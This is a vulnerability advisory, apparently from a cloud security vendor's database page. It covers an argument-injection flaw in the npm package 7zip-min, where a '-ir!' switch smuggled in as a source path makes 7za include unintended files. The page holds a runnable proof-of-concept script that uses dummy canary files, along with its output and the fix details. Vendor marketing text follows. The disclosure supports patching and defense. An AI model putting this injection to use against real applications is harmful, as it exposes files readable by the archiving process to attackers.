
PEACH
Un cadre d’isolation des locataires
7zip-min versions 0.0.1 through 3.0.1 contain an argument-injection vulnerability in pack(). A caller-supplied source path beginning with a 7-Zip switch can be interpreted as an instruction rather than a filesystem path. An attacker who controls that argument can cause unintended files readable by the 7za process to be included in the output archive. This results in information disclosure when the application makes the archive available to the attacker.
The vulnerable argument construction is present in every tagged release from 0.0.1 through 3.0.1. The implementation is in index.js in earlier releases and src/index.js in 3.0.x. pack() passes the output archive and source path directly to 7za without an end-of-options delimiter: ['a', pathToArch, pathToSrc] A source argument beginning with "-ir!" is interpreted as a recursive include switch. Because the command also contains a valid output archive path, 7za can complete the operation and include the file selected by the injected switch. In 3.0.1, unpack() and list() also pass their archive paths without the delimiter. unpackSome() protects its file selectors with "--", but leaves its archive-path argument before the delimiter. This is argument injection (CWE-88). The library uses spawn() with an argument array. The demonstrated issue does not involve shell command injection or establish remote code execution. Related hardening: During review, the bundled 7za 16.02 was also found to interpret @file arguments as local file lists even after "--". Empty source paths and empty extraction selectors can select more files than intended. The patch addresses these cases alongside the reported switch injection. The patch:
92f4d2e37b1ab314e1859829816b9bca4ce8b443, matching the security PR.
All 16 CI jobs passed, with all 40 tests passing in each job:In an empty directory, install the affected version:
npm init -y
npm install 7zip-min@3.0.1Save the following as poc.cjs and run node poc.cjs. The script creates only dummy files and removes its temporary directory afterward.
const fs = require('fs');
const os = require('os');
const path = require('path');
const sevenZip = require('7zip-min');
(async () => {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), '7zip-canary-'));
try {
const normal = path.join(dir, 'normal.txt');
const secret = path.join(dir, 'CANARY_SECRET.txt');
const controlArchive = path.join(dir, 'control.7z');
const attackArchive = path.join(dir, 'attack.7z');
fs.writeFileSync(normal, 'NORMAL FILE');
fs.writeFileSync(secret, 'TEST SECRET - NOT REAL DATA');
await sevenZip.pack(normal, controlArchive);
await sevenZip.pack('-ir!' + secret, attackArchive);
const control = await sevenZip.list(controlArchive);
const attack = await sevenZip.list(attackArchive);
console.log('[CONTROL]', control.map(x => x.name));
console.log('[ATTACK]', attack.map(x => x.name));
console.log(
'RESULT:',
attack.some(x => x.name.includes('CANARY_SECRET.txt'))
? 'VULNERABLE - CANARY INCLUDED'
: 'NOT REPRODUCED'
);
} finally {
fs.rmSync(dir, { recursive: true, force: true });
}
})().catch(err => {
console.error(err);
process.exitCode = 1;
});Observed on 7zip-min 3.0.1 with bundled 7za 16.02:
[CONTROL] [ 'normal.txt' ]
[ATTACK] [ 'CANARY_SECRET.txt' ]
RESULT: VULNERABLE - CANARY INCLUDEDThe control archive contains only the normal file. The attack archive contains the dummy secret selected through the injected include switch. With the fix, the injected source is treated as a nonexistent literal path and the operation fails without including the canary.
Applications are exposed to information disclosure when they pass an attacker-controlled source argument to pack() and allow the attacker to retrieve the resulting archive. The injected include switch can select files readable by the 7za process. Actual exposure depends on application input validation, process filesystem permissions, and access to the output archive. The provisional CVSS v3.1 score is 7.5 (High): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N This score assumes a network-accessible application permits an unauthenticated attacker to control the source argument and retrieve the archive. It does not imply that every application using 7zip-min has that exposure. The demonstrated impact is confidentiality loss. Remote code execution has not been demonstrated.
Source: NVD
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."